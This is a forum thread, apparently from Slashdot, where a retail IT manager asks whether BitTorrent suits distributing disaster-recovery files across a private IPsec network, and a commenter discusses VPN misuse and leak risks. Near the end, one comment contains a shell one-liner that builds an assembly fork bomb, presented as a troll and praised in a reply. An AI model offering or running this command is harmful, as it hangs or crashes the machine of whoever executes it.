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BitTorrent For Enterprise File Distribution?
HotTuna writes "I'm responsible for a closed, private network of retail stores connected to our corporate office (and to each other) with IPsec over DSL, and no access to the public internet. We have about 4GB of disaster recovery files that need to be replicated at each site, and updated monthly. The challenge is that all the enterprise file replication tools out there seem to be client/server and not peer-to-peer. This crushes our bandwidth at the corporate office and leaves hundreds of 7Mb DSL connections (at the stores) virtually idle. I am dreaming of a tool which can 'seed' different parts of a file to different peers, and then have those peers exchange those parts, rapidly replicating the file across the entire network. Sounds like BitTorrent you say? Sure, except I would need to 'push' the files out, and not rely on users to click a torrent file at each site. I could imagine a homebrew tracker, with uTorrent and an RSS feed at each site, but that sounds a little too patchwork to fly by the CIO. What do you think? Is BitTorrent an appropriate protocol for file distribution in the business sector? If not, why not? If so, how would you implement it?"
I've worked at places that use IPSec or VPN. A common problem is that the server is loaded down so the secure connection is rather slow. So people will use VPN to pick up email/access the intranet when they need to and plain IP for internet access. Or people will bring laptops home and use plain IP on their unsecured home wireless network. Problem with this scheme is that if one of the machines with the files on is abused like this you could potentially have a problem. And if the files end up on pirate bay or you'll probably get fired no matter how encrypted they are.
Now in an ideal world everyone would understand things enough to not connect a secure machine to the public internet and also that it doesn't matter if files leak if they are sufficiently encrypted. Or that as you put it "if a competitor wanted the information there are easier ways to get it".
But we don't live in that world.
Mind you I'd define sufficiently encrypted as something much more secure than a passworded ZIP file.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
To bad I don't have any mod points, this one (above troll) is better than the usual.
* Carthago Delenda Est *